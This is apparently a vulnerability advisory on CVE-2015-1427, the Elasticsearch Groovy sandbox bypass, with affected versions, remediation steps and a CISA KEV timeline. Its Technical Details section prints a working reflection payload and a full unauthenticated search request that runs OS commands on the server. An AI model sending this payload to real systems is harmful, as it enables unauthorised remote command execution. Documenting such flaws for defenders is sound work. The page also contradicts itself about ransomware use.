What Is Elasticsearch Groovy Scripting?
Elasticsearch is a distributed search and analytics engine widely used for log analysis, full-text search, and data aggregation. Versions 1.x included dynamic scripting capabilities — the ability to execute user-supplied scripts as part of search queries or aggregations. After the CVE-2014-3120 vulnerability (which allowed arbitrary OS commands via MVEL scripting), Elasticsearch 1.3.0 disabled MVEL scripting by default and replaced it with Groovy, implementing a sandbox to restrict what Groovy scripts could do.
The Groovy sandbox was intended to prevent scripts from accessing dangerous Java APIs. CVE-2015-1427 demonstrates that the sandbox was insufficient — Groovy's dynamic nature and Java reflection capabilities provided multiple paths to bypass sandbox restrictions and execute arbitrary OS commands.
Overview
CVE-2015-1427 is a sandbox bypass in Elasticsearch's Groovy scripting engine that allows remote attackers to execute arbitrary OS commands without authentication. The Groovy sandbox — introduced in Elasticsearch 1.3.0 as a replacement for the vulnerable MVEL engine — fails to prevent scripts from using Java reflection to access restricted runtime methods and execute shell commands. Fixed in Elasticsearch 1.3.8 and 1.4.3 (January 27, 2015). Elasticsearch instances without authentication enabled (the default) remain accessible to any network attacker.
Affected Versions
| Elasticsearch | Status |
|---|---|
| 1.3.0 – 1.3.7 | Vulnerable |
| 1.4.0 – 1.4.2 | Vulnerable |
| 1.3.8+ | Fixed |
| 1.4.3+ | Fixed |
| 1.5.0+ | Dynamic scripting disabled by default |
Technical Details
Root Cause: Groovy Sandbox Bypass via Java Reflection
Elasticsearch's Groovy sandbox attempted to block access to dangerous Java runtime methods by maintaining a whitelist or blacklist of allowed class/method combinations. However, Groovy's dynamic language features — specifically its reflection capabilities — allowed sandbox bypass:
An attacker could use Groovy's java.lang.Runtime or ProcessBuilder through reflection to bypass the static sandbox checks:
def runtime = Runtime.class.forName("java.lang.Runtime")
def getRuntime = runtime.getMethod("getRuntime")
def rt = getRuntime.invoke(null)
def exec = runtime.getMethod("exec", [String].class as Class[])
exec.invoke(rt, ["id"] as String[])
By using reflection to access Runtime.exec() rather than calling it directly, the Groovy script bypasses the sandbox's static analysis of the script's method calls.
Unauthenticated Access
By default, Elasticsearch 1.x had no authentication mechanism — any network-accessible instance accepted queries from any source. An attacker simply needs to reach the Elasticsearch HTTP port (default TCP 9200) to send a malicious search request containing the sandbox bypass script.
Attack Pattern
POST /_search HTTP/1.1
Content-Type: application/json
{
"size": 1,
"script_fields": {
"exp": {
"script": "java.lang.Runtime.class.forName('java.lang.Runtime').getMethod('exec', [String].class as Class[]).invoke(java.lang.Runtime.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')"
}
}
}
Attack Characteristics
| Attribute | Detail |
|---|---|
| Attack Vector | Network — HTTP request to Elasticsearch |
| Authentication | None required (default config) |
| CVSS | 9.8 CRITICAL |
| Root Cause | Groovy sandbox bypass via Java reflection |
| Related | CVE-2014-3120 (predecessor MVEL scripting RCE) |
Discovery
Identified following the CVE-2014-3120 MVEL scripting vulnerability and Elastic's introduction of the Groovy sandbox as a replacement. Security researchers demonstrated that the Groovy sandbox could be escaped using Java reflection techniques. Elastic released patches in January 2015 and later disabled dynamic scripting by default.
Exploitation Context
- Internet-exposed Elasticsearch: Elasticsearch was frequently deployed with no authentication and internet-accessible HTTP ports, particularly in cloud environments where misconfigured instances were publicly exposed; shodan searches routinely found tens of thousands of internet-facing Elasticsearch instances
- Cryptominer and ransomware targeting: Both CVE-2014-3120 and CVE-2015-1427 were heavily exploited by cryptominer operators and ransomware actors targeting exposed Elasticsearch clusters — attackers either installed mining software or deleted indices and demanded ransom for data recovery
- Active exploit availability: Public proof-of-concept exploits for CVE-2015-1427 were published shortly after the vulnerability was documented, enabling mass automated exploitation
- Successor pattern: The repeated scripting RCE vulnerabilities (MVEL → Groovy sandbox bypass) led Elasticsearch to disable dynamic scripting by default in later versions, but many installations remained on vulnerable versions
- CISA KEV (2022): Added March 2022
Remediation
-
Upgrade to Elasticsearch 1.3.8 or 1.4.3 (or preferably a current supported version). Versions 1.5.0+ disabled dynamic scripting by default.
-
Disable dynamic scripting — in
elasticsearch.yml, setscript.disable_dynamic: trueon vulnerable 1.x versions if immediate upgrade is not possible. -
Enable authentication — use Elasticsearch security features (Shield plugin for 1.x / built-in security for 6.8+) to require authentication for all API access.
-
Restrict network access — Elasticsearch should never be directly exposed to the internet. Use firewall rules to restrict TCP 9200 and TCP 9300 to trusted application servers only.
-
Current versions — migrate to a current Elasticsearch version (8.x) with built-in security enabled by default. Elastic's security features are free in current versions.
Key Details
| Property | Value |
|---|---|
| CVE ID | CVE-2015-1427 |
| Vendor / Product | Elastic — Elasticsearch |
| NVD Published | 2015-02-17 |
| NVD Last Modified | 2025-10-22 |
| CVSS 3.1 Score | 9.8 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Severity | CRITICAL |
| CWE | CWE-284 — Improper Access Control find similar ↗ |
| CISA KEV Added | 2022-03-25 |
| CISA KEV Deadline | 2022-04-15 |
| Known Ransomware Use | No |
CVSS 3.1 Breakdown
Required Action
Timeline
| Date | Event |
|---|---|
| 2015-01-27 | Elasticsearch 1.3.8 and 1.4.3 released, fixing the Groovy sandbox bypass |
| 2015-02-17 | CVE-2015-1427 published by NVD |
| 2022-03-25 | Added to CISA Known Exploited Vulnerabilities catalog |
| 2022-04-15 | CISA BOD 22-01 remediation deadline |
References
| Resource | Type |
|---|---|
| NVD — CVE-2015-1427 | Vulnerability Database |
| CISA KEV Catalog Entry | US Government |
| Elastic Security Advisories | Vendor Advisory |